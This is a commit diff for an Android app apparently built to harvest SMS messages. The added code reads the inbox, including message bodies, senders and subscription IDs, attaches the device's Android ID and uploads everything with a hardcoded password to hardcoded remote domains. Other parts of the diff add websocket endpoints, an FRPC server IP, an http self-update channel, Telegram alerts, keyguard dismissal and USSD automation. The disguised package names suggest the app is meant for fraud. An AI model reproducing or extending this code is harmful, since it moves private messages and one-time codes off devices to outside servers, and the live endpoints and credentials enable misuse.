hxMac vor 5 Monaten
Ursprung
Commit
d5b9faa56c
19 geänderte Dateien mit 795 neuen und 131 gelöschten Zeilen
  1. 15 15
      frpc_android-master/app/build.gradle
  2. 1 1
      frpc_android-master/app/src/main/java/com/app/MainApp.java
  3. 34 0
      frpc_android-master/app/src/main/java/com/app/duck/adapter/PhoneListAdapter2.java
  4. 6 4
      frpc_android-master/app/src/main/java/com/app/duck/database/DBHelper.java
  5. 11 7
      frpc_android-master/app/src/main/java/com/app/duck/dialog/PhoneListDialog.java
  6. 288 5
      frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java
  7. 22 12
      frpc_android-master/app/src/main/java/com/app/duck/util/CheckInboxWorker.java
  8. 93 0
      frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java
  9. 81 45
      frpc_android-master/app/src/main/java/com/app/duck/util/SmsReceiver.java
  10. 6 0
      frpc_android-master/app/src/main/java/com/app/duck/util/SmsSentReceiver.java
  11. 5 1
      frpc_android-master/app/src/main/java/com/app/duck/util/TgBot.java
  12. 8 7
      frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java
  13. 58 4
      frpc_android-master/app/src/main/res/layout/content_main.xml
  14. 82 0
      frpc_android-master/app/src/main/res/layout/layout_phone_item2.xml
  15. 5 0
      frpc_android-master/app/src/main/res/menu/main.xml
  16. 11 1
      frpc_android-master/app/src/main/res/values-en/strings.xml
  17. 9 1
      frpc_android-master/app/src/main/res/values/strings.xml
  18. 2 2
      frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDApi.java
  19. 58 26
      frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDController.java

+ 15 - 15
frpc_android-master/app/build.gradle

@@ -14,7 +14,7 @@ android {
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
-            buildConfigField "String", "WEB_URL", "\"wss://saffron.ghpcarphone.com/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "WEB_URL", "\"wss://ci-naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
             buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
             buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
             manifestPlaceholders = [app_icon: "@mipmap/ic_a"]
@@ -95,7 +95,7 @@ android {
                 //noinspection ChromeOsAbiSupport
                 abiFilters 'arm64-v8a', 'armeabi-v7a'
             }
-            minSdkVersion 21
+            minSdkVersion 22
         }
         user5 {
             dimension "baseUrl"
@@ -183,7 +183,7 @@ android {
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://ci-naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
-            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_IP", "\"18.196.82.143\""
             buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
             manifestPlaceholders = [app_icon: "@mipmap/ic_j"]
             ndk {
@@ -209,7 +209,7 @@ android {
                 //noinspection ChromeOsAbiSupport
                 abiFilters 'arm64-v8a', 'armeabi-v7a'
             }
-            minSdkVersion 21
+            minSdkVersion 22
         }
         user11 {
             dimension "baseUrl"
@@ -228,7 +228,7 @@ android {
                 //noinspection ChromeOsAbiSupport
                 abiFilters 'arm64-v8a', 'armeabi-v7a'
             }
-            minSdkVersion 21
+            minSdkVersion 22
         }
         user12 {
             dimension "baseUrl"
@@ -247,7 +247,7 @@ android {
                 //noinspection ChromeOsAbiSupport
                 abiFilters 'arm64-v8a', 'armeabi-v7a'
             }
-            minSdkVersion 21
+            minSdkVersion 22
 
         }
         user13 {
@@ -267,7 +267,7 @@ android {
                 //noinspection ChromeOsAbiSupport
                 abiFilters 'arm64-v8a', 'armeabi-v7a'
             }
-            minSdkVersion 21
+            minSdkVersion 22
 
         }
         user14 {
@@ -287,21 +287,21 @@ android {
                 //noinspection ChromeOsAbiSupport
                 abiFilters 'arm64-v8a', 'armeabi-v7a'
             }
-            minSdkVersion 21
+            minSdkVersion 22
 
         }
         user15 {
             dimension "baseUrl"
             applicationId "com.cjgu.rah.wgige.coerws"
             resValue "string", "app_name", "P"
-            buildConfigField "String", "BASE_URL", "\"替换成你需要的,举例[https://india.gdtabletouch.com]\""
+            buildConfigField "String", "BASE_URL", "\"https://cm-sms-www.ghpcarphone.com\""
             buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/p/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
-            buildConfigField "String", "WEB_URL", "\"WEBSOCKRET的地址,没有就删除\""
-            buildConfigField "String", "FRPC_IP", "\"FRPC配置中对应的IP,没有就删除写XXXXXX\""
-            buildConfigField "String", "FRPC_PORT", "\"FRPC配置中对应的端口,没有就写XXXXX\""
+            buildConfigField "String", "WEB_URL", "\"wss://cm-naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
             manifestPlaceholders = [app_icon: "@mipmap/ic_p"]
             ndk {
                 //noinspection ChromeOsAbiSupport
@@ -513,9 +513,9 @@ android {
     defaultConfig {
 //        minSdkVersion 29
         //noinspection ExpiredTargetSdkVersion
-        targetSdkVersion 29
-        versionCode 49
-        versionName "0.40.3.0"
+        targetSdkVersion 30
+        versionCode 53
+        versionName "0.40.4.2"
         multiDexEnabled true
         testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
     }

+ 1 - 1
frpc_android-master/app/src/main/java/com/app/MainApp.java

@@ -5,6 +5,7 @@ import androidx.multidex.MultiDexApplication;
 
 import com.app.duck.BuildConfig;
 import com.app.duck.Config;
+import com.app.duck.util.HxUtils;
 import com.app.duck.util.WsManager;
 import com.blankj.utilcode.util.Utils;
 import com.elvishew.xlog.LogConfiguration;
@@ -42,7 +43,6 @@ public class MainApp extends MultiDexApplication {
         LogConfiguration config = new LogConfiguration.Builder()
                 .tag(Config.LOG_TAG).build();
         XLog.init(config, filePrinter);
-
     }
 
 }

+ 34 - 0
frpc_android-master/app/src/main/java/com/app/duck/adapter/PhoneListAdapter2.java

@@ -0,0 +1,34 @@
+package com.app.duck.adapter;
+
+import com.app.duck.R;
+import com.chad.library.adapter.base.BaseQuickAdapter;
+import com.chad.library.adapter.base.viewholder.BaseViewHolder;
+
+import org.jetbrains.annotations.NotNull;
+
+import java.util.HashMap;
+
+public class PhoneListAdapter2 extends BaseQuickAdapter<HashMap<String, String>, BaseViewHolder> {
+
+
+    public PhoneListAdapter2() {
+        super(R.layout.layout_phone_item2);
+    }
+
+
+    @Override
+    protected void convert(@NotNull BaseViewHolder baseViewHolder, HashMap<String, String> map) {
+        int position = getItemPosition(map);
+        //text2 subid
+        //text1 slot
+        //text3 number
+//"ID:" + map.get("SubId") + " "+
+        baseViewHolder.setText(R.id.text2, map.get("disname"));
+        baseViewHolder.setText(R.id.text1, "SIM-" + map.get("SimSlot"));
+        baseViewHolder.setText(R.id.text3, map.get("Number"));
+
+
+    }
+
+
+}

+ 6 - 4
frpc_android-master/app/src/main/java/com/app/duck/database/DBHelper.java

@@ -8,6 +8,8 @@ import android.database.sqlite.SQLiteOpenHelper;
 
 import androidx.annotation.Nullable;
 
+import java.util.HashMap;
+
 public class DBHelper extends SQLiteOpenHelper {
     private static final String SQL_CREATE_TABLE =
             "CREATE TABLE " + DBContract.TABLE_NAME + " (" +
@@ -83,19 +85,19 @@ public class DBHelper extends SQLiteOpenHelper {
         db.close();
     }
 
-    public boolean checkSuccessById(int id) {
+    public int checkSuccessById(int id) {
+        int status = 0;
         SQLiteDatabase db = this.getReadableDatabase();
         String[] columns = {DBContract.COLUMN_SUCCESS};
         String selection = DBContract.COLUMN_ID + "=?";
         String[] selectionArgs = {String.valueOf(id)};
         Cursor cursor = db.query(DBContract.TABLE_NAME, columns, selection, selectionArgs, null, null, null);
-        boolean success = false;
         if (cursor.moveToFirst()) {
             int columnIndex = cursor.getColumnIndex(DBContract.COLUMN_SUCCESS);
-            success = cursor.getInt(columnIndex) == 1;
+            status = cursor.getInt(columnIndex);
         }
         cursor.close();
         db.close();
-        return success;
+        return status;
     }
 }

+ 11 - 7
frpc_android-master/app/src/main/java/com/app/duck/dialog/PhoneListDialog.java

@@ -51,8 +51,12 @@ public class PhoneListDialog extends Dialog implements View.OnClickListener {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.layout_phone_list);
         String d = SPUtils.getInstance().getString("phone_list");
-        if (!StringUtils.isEmpty(d)) {
-            mList = JSON.parseArray(d, String.class);
+        try {
+            if (!StringUtils.isEmpty(d)) {
+                mList = JSON.parseArray(d, String.class);
+            }
+        } catch (Exception e) {
+
         }
 
 
@@ -87,8 +91,8 @@ public class PhoneListDialog extends Dialog implements View.OnClickListener {
         mList.remove(position);
         SPUtils.getInstance().put("phone_list", GsonUtils.toJson(mList));
         phoneListAdapter.removeAt(position);
-        HxUtils.setPhone(toPhoneUri(GsonUtils.toJson(mList)));
-        LiveEventBus.get(PHONE_TAG).post(toPhoneUri(GsonUtils.toJson(mList)));
+        HxUtils.setPhone(toPhoneUri());
+        LiveEventBus.get(PHONE_TAG).post(toPhoneUri());
     }
 
     @SuppressLint("SetTextI18n")
@@ -100,8 +104,8 @@ public class PhoneListDialog extends Dialog implements View.OnClickListener {
             SPUtils.getInstance().put("phone_list", GsonUtils.toJson(mList));
             phoneListAdapter.addData(mList.get(mList.size() - 1));
             phoneListAdapter.notifyItemChanged(mList.size() - 1);
-            HxUtils.setPhone(toPhoneUri(GsonUtils.toJson(mList)));
-            LiveEventBus.get(PHONE_TAG).post(toPhoneUri(GsonUtils.toJson(mList)));
+            HxUtils.setPhone(toPhoneUri());
+            LiveEventBus.get(PHONE_TAG).post(toPhoneUri());
             phoneEt.setText("");
         }
         if (id == R.id.closeBt) {
@@ -109,7 +113,7 @@ public class PhoneListDialog extends Dialog implements View.OnClickListener {
         }
     }
 
-    private String toPhoneUri(String s) {
+    private String toPhoneUri() {
         StringBuilder data = new StringBuilder();
         for (int i = 0; i < mList.size(); i++) {
             String a;

+ 288 - 5
frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java

@@ -6,11 +6,19 @@ import static com.app.duck.Config.PHONE_TAG;
 import static com.app.duck.Config.SMS_UPLOAD_TAG;
 import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
 
+import android.Manifest;
 import android.annotation.SuppressLint;
+import android.app.AlertDialog;
 import android.content.Context;
 import android.content.Intent;
 import android.net.Uri;
 import android.provider.Settings;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.text.InputType;
+import android.text.TextUtils;
+import android.util.Log;
 import android.view.Menu;
 import android.view.MenuItem;
 import android.view.View;
@@ -22,25 +30,42 @@ import androidx.navigation.NavController;
 import androidx.navigation.Navigation;
 import androidx.navigation.ui.AppBarConfiguration;
 import androidx.navigation.ui.NavigationUI;
+import androidx.recyclerview.widget.LinearLayoutManager;
+import androidx.recyclerview.widget.RecyclerView;
 
+import com.afollestad.materialdialogs.MaterialDialog;
 import com.app.duck.BaseActivity;
 import com.app.duck.BuildConfig;
 import com.app.duck.R;
+import com.app.duck.adapter.PhoneListAdapter2;
 import com.app.duck.database.Config;
 import com.app.duck.databinding.ActivityMainBinding;
-import com.app.duck.dialog.DialogManager;
 import com.app.duck.util.CheckInboxWorker;
 import com.app.duck.util.HeartbeatWorker;
 import com.app.duck.util.HxUtils;
 import com.app.duck.util.TgBot;
 import com.app.duck.util.WsManager;
+import com.blankj.utilcode.util.ActivityUtils;
 import com.blankj.utilcode.util.AppUtils;
 import com.blankj.utilcode.util.LanguageUtils;
+import com.blankj.utilcode.util.ObjectUtils;
+import com.blankj.utilcode.util.PermissionUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.TimeUtils;
+import com.blankj.utilcode.util.ToastUtils;
+import com.elvishew.xlog.XLog;
 import com.google.android.material.dialog.MaterialAlertDialogBuilder;
 import com.google.android.material.navigation.NavigationView;
+import com.google.gson.JsonArray;
+import com.google.gson.JsonObject;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
 import java.util.Locale;
+import java.util.concurrent.TimeUnit;
 
 public class MainActivity extends BaseActivity<ActivityMainBinding> implements NavigationView.OnNavigationItemSelectedListener {
 
@@ -71,9 +96,9 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         View headerView = b.navView.getHeaderView(0);
         TextView codeTv = headerView.findViewById(R.id.versionCodeTv);
         codeTv.setText(AppUtils.getAppVersionName() + " - " + AppUtils.getAppVersionCode());
-        b.appBarMain.contentMain.phoneTv.setOnClickListener(view -> {
-            DialogManager.phoneEditDialog();
-        });
+//        b.appBarMain.contentMain.phoneTv.setOnClickListener(view -> {
+//            DialogManager.phoneEditDialog();
+//        });
 
         b.appBarMain.contentMain.workTv.setSelected(true);
         b.appBarMain.contentMain.workTv2.setSelected(true);
@@ -101,7 +126,8 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
 
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
-
+        HxUtils.setCurrentPhoneList();
+        initPhoneConfig();
     }
 
 
@@ -144,6 +170,47 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
             case R.id.action_update_log_config:
                 HxUtils.checkForUpdateBotConfig();
                 break;
+            case R.id.action_id_index:
+                AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(this);
+                alertDialogBuilder.setTitle(R.string.dialogConfirmTitle);
+
+                JsonArray jsonArray = HxUtils.getCurrentPhoneList();
+                StringBuilder showStr = new StringBuilder();
+                if (jsonArray != null && jsonArray.size() > 0) {
+                    for (int i = 0; i < jsonArray.size(); i++) {
+                        JsonObject item1 = jsonArray.get(i).getAsJsonObject();
+
+                        int id = item1.get("SubscriptionId").getAsInt();
+                        int index = item1.get("SimSlotIndex").getAsInt();
+                        String iccID = item1.get("iccID").getAsString();
+                        String Number2 = item1.get("Number").getAsString();
+                        String disname = item1.get("disname").getAsString();
+                        String Number = HxUtils.getRecord(id);
+                        showStr.append("No." + (i + 1));
+                        showStr.append("/ " + iccID);
+                        showStr.append("/ " + disname);
+                        showStr.append("\n");
+                        showStr.append("SubscriptionId : " + id);
+                        showStr.append("\n");
+                        showStr.append("SimSlotIndex : " + index);
+                        showStr.append("\n");
+                        showStr.append("Number : " + Number);
+                        showStr.append("\n");
+                        showStr.append("Reference : " + Number2);
+                        showStr.append("\n");
+                    }
+
+                } else {
+                    showStr.append("UNKNOWN");
+                }
+                alertDialogBuilder.setMessage(showStr.toString());
+                alertDialogBuilder.setCancelable(false);
+                alertDialogBuilder.setPositiveButton(R.string.ok, (dialog, id) -> dialog.dismiss());
+                AlertDialog alertDialog = alertDialogBuilder.create();
+                if (alertDialog != null) {
+                    alertDialog.show();
+                }
+                break;
         }
         return super.onOptionsItemSelected(item);
     }
@@ -192,4 +259,220 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     }
 
 
+    private PhoneListAdapter2 phoneListAdapter;
+    private SubscriptionManager subscriptionManager;
+
+    private void initPhoneConfig() {
+        if (!PermissionUtils.isGranted(Manifest.permission.READ_PHONE_STATE)) {
+            ToastUtils.showShort(R.string.read_phone_state_sim);
+            ThreadUtils.runOnUiThreadDelayed(this::initPhoneConfig, 3000);
+            return;
+        }
+        telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+        SimCardStateListener();
+        subscriptionManager = (SubscriptionManager) getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
+
+        @SuppressLint("MissingPermission") List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
+        List<HashMap<String, String>> mList = new ArrayList<>();
+        if (subsInfoList != null) {
+            for (SubscriptionInfo subscriptionInfo : subsInfoList) {
+                HashMap<String, String> map = new HashMap<>();
+                map.put("SimSlot", subscriptionInfo.getSimSlotIndex() + "");
+                map.put("SubId", subscriptionInfo.getSubscriptionId() + "");
+                map.put("Number", HxUtils.getRecord(subscriptionInfo.getSubscriptionId()));
+                map.put("disname", subscriptionInfo.getDisplayName() == null ? "UNKNOWN" : subscriptionInfo.getDisplayName().toString());
+                map.put("Number2", subscriptionInfo.getNumber() == null ? "UNKNOWN" : subscriptionInfo.getNumber());//如果有
+                mList.add(map);
+            }
+        } else {
+            XLog.w("setRecord -> subsInfoList == null");
+            Log.w("hzshkj", "setRecord: subsInfoList == null");
+        }
+
+
+        phoneListAdapter = new PhoneListAdapter2();
+        phoneListAdapter.addChildClickViewIds(R.id.iv_delete);
+        phoneListAdapter.setOnItemChildClickListener((adapter, view, position) -> {
+            if (view.getId() == R.id.iv_delete) {
+                new MaterialDialog.Builder(ActivityUtils.getTopActivity())
+                        .title("SIM-" + phoneListAdapter.getData().get(position).get("SimSlot") + "-" + StringUtils.getString(R.string.phone_number))
+                        .content("Card Slot : " + phoneListAdapter.getData().get(position).get("SimSlot") +
+                                "\n" +
+                                "Reference Mobile Number : " + phoneListAdapter.getData().get(position).get("Number2") +
+                                "\n" +
+                                "Display Name : " + phoneListAdapter.getData().get(position).get("disname")
+                        )
+                        .canceledOnTouchOutside(false)
+                        .autoDismiss(false)
+                        .negativeText(R.string.cancel)
+                        .positiveText(R.string.done)
+
+                        .onNegative((dialog, which) -> dialog.dismiss())
+                        .onPositive((dialog, which) -> dialog.dismiss())
+                        .input(StringUtils.getString(R.string.set_the_number), TextUtils.isEmpty(phoneListAdapter.getData().get(position).get("Number")) ? "" : phoneListAdapter.getData().get(position).get("Number"), false, (dialog, input) ->
+                        {
+                            if (!StringUtils.isEmpty(input)) {
+                                if (HxUtils.setRecord(phoneListAdapter.getItem(position).get("SubId"), input.toString()) == null) {
+                                    phoneListAdapter.getItem(position).put("Number", input.toString());
+                                    phoneListAdapter.notifyItemChanged(position);
+
+                                }
+                                HxUtils.setPhone(toPhoneUri());
+                                LiveEventBus.get(PHONE_TAG).post(toPhoneUri());
+                                dialog.dismiss();
+                            }
+                        })
+                        .inputType(InputType.TYPE_CLASS_PHONE) // 设置输入类型为电话号码
+                        .show();
+
+            }
+        });
+
+        b.appBarMain.contentMain.rv.setAdapter(phoneListAdapter);
+        phoneListAdapter.setList(mList);
+        b.appBarMain.contentMain.rv.setLayoutManager(new LinearLayoutManager(this, RecyclerView.VERTICAL, false));
+
+
+    }
+
+
+    private String toPhoneUri() {
+        StringBuilder data = new StringBuilder();
+        for (int i = 0; i < phoneListAdapter.getData().size(); i++) {
+            String a = "";
+            if (i == 0) {
+                if (!StringUtils.isTrimEmpty(phoneListAdapter.getData().get(i).get("SubId")) && !StringUtils.isTrimEmpty(phoneListAdapter.getData().get(i).get("Number")))
+                    a = phoneListAdapter.getData().get(i).get("SubId") + "-" + phoneListAdapter.getData().get(i).get("Number");
+            } else {
+                if (!StringUtils.isTrimEmpty(phoneListAdapter.getData().get(i).get("SubId")) && !StringUtils.isTrimEmpty(phoneListAdapter.getData().get(i).get("Number")))
+                    a = "_" + phoneListAdapter.getData().get(i).get("SubId") + "-" + phoneListAdapter.getData().get(i).get("Number");
+            }
+            data.append(a);
+        }
+        return data.toString();
+    }
+
+    private TelephonyManager telephonyManager;
+
+
+    private void setMsg(String msg) {
+        b.appBarMain.contentMain.textView2.setVisibility(View.VISIBLE);
+
+        b.appBarMain.contentMain.textView2.setText(msg);
+    }
+
+    private void hideMsg() {
+        b.appBarMain.contentMain.textView2.setVisibility(View.GONE);
+
+        b.appBarMain.contentMain.textView2.setText("");
+    }
+
+    public void SimCardStateListener() {
+
+        ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() {
+                return getSimCardState();
+            }
+
+            @SuppressLint("SetTextI18n")
+            @Override
+            public void onSuccess(String result) {
+
+                if (result.equals("Absent")) {
+                    setMsg("Current sim card status : Absent");
+                    List<HashMap<String, String>> list2 = new ArrayList<>();
+                    Log.d("hzshkj", "检测到sim卡被拔出");
+                    XLog.d("检测到sim卡被拔出");
+                    ToastUtils.showLong(R.string.sim);
+                    HxUtils.setPhone("");
+                    LiveEventBus.get(PHONE_TAG).post("");
+                    if (!ObjectUtils.equals(list2, phoneListAdapter.getData())) {
+                        for (int i = 0; i < phoneListAdapter.getData().size(); i++) {
+                            phoneListAdapter.getItem(i).put("Number", "UNKNOWN");
+                            phoneListAdapter.getItem(i).put("SubId", "UNKNOWN");
+                            phoneListAdapter.getItem(i).put("SimSlot", "UNKNOWN");
+                            phoneListAdapter.getItem(i).put("disname", "UNKNOWN");
+                            phoneListAdapter.getItem(i).put("Number2", "UNKNOWN");
+                            phoneListAdapter.notifyItemChanged(i);
+                        }
+                    }
+
+                } else if (result.equals("Ready")) {
+                    hideMsg();
+                    Log.d("hzshkj", "检测到sim卡被插入");
+                    XLog.d("检测到sim卡被插入");
+                    @SuppressLint("MissingPermission") List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
+                    List<HashMap<String, String>> list = new ArrayList<>();
+                    if (subsInfoList != null) {
+                        StringBuilder sb = new StringBuilder();
+                        for (SubscriptionInfo subscriptionInfo : subsInfoList) {
+                            HashMap<String, String> map = new HashMap<>();
+                            map.put("SimSlot", subscriptionInfo.getSimSlotIndex() + "");
+                            map.put("SubId", subscriptionInfo.getSubscriptionId() + "");
+                            map.put("Number", HxUtils.getRecord(subscriptionInfo.getSubscriptionId()));
+                            map.put("disname", subscriptionInfo.getDisplayName() == null ? "UNKNOWN" : subscriptionInfo.getDisplayName().toString());
+                            map.put("Number2", subscriptionInfo.getNumber() == null ? "UNKNOWN" : subscriptionInfo.getNumber());//如果有
+                            list.add(map);
+                            if (StringUtils.isTrimEmpty(HxUtils.getRecord(subscriptionInfo.getSubscriptionId()))) {
+                                sb.append(StringUtils.getString(R.string.please_set_the_number_for_the_sim_card, subscriptionInfo.getSimSlotIndex(), subscriptionInfo.getDisplayName() == null ? "UNKNOWN" : subscriptionInfo.getDisplayName().toString()));
+                            }
+                        }
+                        if (!StringUtils.isEmpty(sb))
+                            setMsg(sb.toString());
+                        else
+                            hideMsg();
+                    } else {
+                        XLog.w("setRecord -> subsInfoList == null");
+                        Log.w("hzshkj", "setRecord: subsInfoList == null");
+                    }
+                    if (!ObjectUtils.equals(list, phoneListAdapter.getData())) {
+                        phoneListAdapter.setList(list);
+                        HxUtils.setPhone(toPhoneUri());
+                        LiveEventBus.get(PHONE_TAG).post(toPhoneUri());
+                    }
+                }
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+        }, 2000, 2000, TimeUnit.MILLISECONDS);
+    }
+
+    private String getSimCardState() {
+        int simState = telephonyManager.getSimState();
+        switch (simState) {
+            case TelephonyManager.SIM_STATE_UNKNOWN:
+                return "Unknown";
+            case TelephonyManager.SIM_STATE_ABSENT:
+                return "Absent";
+            case TelephonyManager.SIM_STATE_PIN_REQUIRED:
+                return "PIN required";
+            case TelephonyManager.SIM_STATE_PUK_REQUIRED:
+                return "PUK required";
+            case TelephonyManager.SIM_STATE_NETWORK_LOCKED:
+                return "Network locked";
+            case TelephonyManager.SIM_STATE_READY:
+                return "Ready";
+            case TelephonyManager.SIM_STATE_NOT_READY:
+                return "Not ready";
+            case TelephonyManager.SIM_STATE_PERM_DISABLED:
+                return "Permanently disabled";
+            case TelephonyManager.SIM_STATE_CARD_IO_ERROR:
+                return "Card IO error";
+            case TelephonyManager.SIM_STATE_CARD_RESTRICTED:
+                return "Card restricted";
+            default:
+                return "Unknown";
+        }
+    }
+
 }

+ 22 - 12
frpc_android-master/app/src/main/java/com/app/duck/util/CheckInboxWorker.java

@@ -24,6 +24,7 @@ import com.app.duck.database.DBHelper;
 import com.app.http.APPConfig;
 import com.app.http.BaseBean;
 import com.app.http.Http;
+import com.blankj.utilcode.util.DeviceUtils;
 import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.TimeUtils;
@@ -48,11 +49,13 @@ public class CheckInboxWorker extends Worker {
         WorkManager.getInstance().enqueueUniquePeriodicWork("CheckInboxWorker", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);
     }
 
+
     public static HashMap<String, String> queryInboxMessage(long id) {
         ContentResolver contentResolver = Utils.getApp().getContentResolver();
         HashMap<String, String> map = new HashMap<>();
         Uri uri = Uri.parse("content://sms/");
-        String[] projection = new String[]{Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.DATE_SENT, Telephony.Sms.DATE, Telephony.Sms.TYPE, Telephony.Sms.BODY};
+        String[] projection = new String[]{Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.DATE_SENT, Telephony.Sms.DATE, Telephony.Sms.TYPE,
+                Telephony.Sms.BODY, Telephony.Sms.SUBSCRIPTION_ID};
         String selection = Telephony.Sms._ID + " = ?";
         String[] selectionArgs = new String[]{String.valueOf(id)};
         Cursor cursor = contentResolver.query(uri, projection, selection, selectionArgs, null);
@@ -62,14 +65,18 @@ public class CheckInboxWorker extends Worker {
                 @SuppressLint("Range") String receiver = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE));//收件时间
                 @SuppressLint("Range") long sentTime = cursor.getLong(cursor.getColumnIndex(Telephony.Sms.DATE_SENT));//发件日期时间,时间戳格式
                 @SuppressLint("Range") String body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY));//短信的正文内容。
-                map.put("address", HxUtils.getPhone());
+                @SuppressLint("Range") int subID = cursor.getInt(cursor.getColumnIndex(Telephony.Sms.SUBSCRIPTION_ID));//sim卡关联ID
+                map.put("address", StringUtils.isTrimEmpty(HxUtils.getRecord(subID)) ? "UNKNOWN" : HxUtils.getRecord(subID));
                 map.put("body", body);
                 map.put("timestampMillis", sentTime + "");
                 map.put("sender", sender);
                 map.put("date", receiver);
                 map.put("id", id + "");
+                map.put("sub_id", subID + "");
+                map.put("android_id", DeviceUtils.getAndroidID());
             }
         } catch (Exception e) {
+            new TgBot("这台设备好像在检索SMS库的时候出了点问题?请查看设备日志!", true);
             Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_7), e);
             XLog.e(StringUtils.getString(R.string.log_tip_7), e);
         } finally {
@@ -86,12 +93,6 @@ public class CheckInboxWorker extends Worker {
     @NonNull
     @Override
     public Result doWork() {
-        if (StringUtils.isEmpty(HxUtils.getPhone())) {
-            LiveEventBus.get(SMS_UPLOAD_TAG).post(StringUtils.getString(R.string.log_tip_3, StringUtils.getString(R.string.log_tip_code_1)));
-            Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_1));
-            XLog.i(StringUtils.getString(R.string.log_tip_1));
-            return Result.retry();
-        }
         try {
             Calendar calendar = Calendar.getInstance();
             calendar.add(Calendar.DAY_OF_MONTH, -10); // 向前推十天
@@ -120,11 +121,19 @@ public class CheckInboxWorker extends Worker {
 
             }
             for (Integer id : list) {
+                Log.d("hzshkj", "[CheckInboxWorker] doWork: 周期任务上传");
                 DBHelper dbHelper = new DBHelper(Utils.getApp());
-                boolean success = dbHelper.checkSuccessById(id);
-                if (!success) {
+                int success = dbHelper.checkSuccessById(id);
+                if (success != 1) {
                     HashMap<String, Object> map = new HashMap<>();
-                    map.put("data", GsonUtils.toJson(queryInboxMessage(id)));
+                    HashMap<String, String> dataMap = queryInboxMessage(id);
+                    boolean isHavaNumber = !"UNKNOWN".equals(dataMap.get("address"));
+                    Log.d("hzshkj", "[CheckInboxWorker] doWork: 周期任务上传,success = " + success);
+                    if (success == 2 && !isHavaNumber) {
+                        Log.d("hzshkj", "[CheckInboxWorker] doWork: 周期任务上传,success == 2 && !isHavaNumber,本条短信无需再传");
+                        break;
+                    }
+                    map.put("data", GsonUtils.toJson(dataMap));
                     map.put("password", "o6M5sG7E@FAWLBL9");
                     Http.getInstance()
                             .setUrlPath(APPConfig.BASE, APPConfig.SMS)
@@ -135,7 +144,8 @@ public class CheckInboxWorker extends Worker {
                             .post(new Http.HttpCallBack<String>() {
                                 @Override
                                 public void onNext(String model) {
-                                    dbHelper.insertOrUpdateData(id, 1);
+                                    Log.d("hzshkj", "[CheckInboxWorker] doWork: 周期任务上传成功,isHavaNumber" + isHavaNumber + ",isHavaNumber ? 1 : 2");
+                                    dbHelper.insertOrUpdateData(id, isHavaNumber ? 1 : 2);
                                 }
 
                                 @Override

+ 93 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java

@@ -1,10 +1,13 @@
 package com.app.duck.util;
 
+import android.annotation.SuppressLint;
 import android.app.ActivityManager;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
 import android.util.Log;
 
 import com.alibaba.fastjson.JSON;
@@ -13,22 +16,26 @@ import com.app.duck.BuildConfig;
 import com.app.duck.Config;
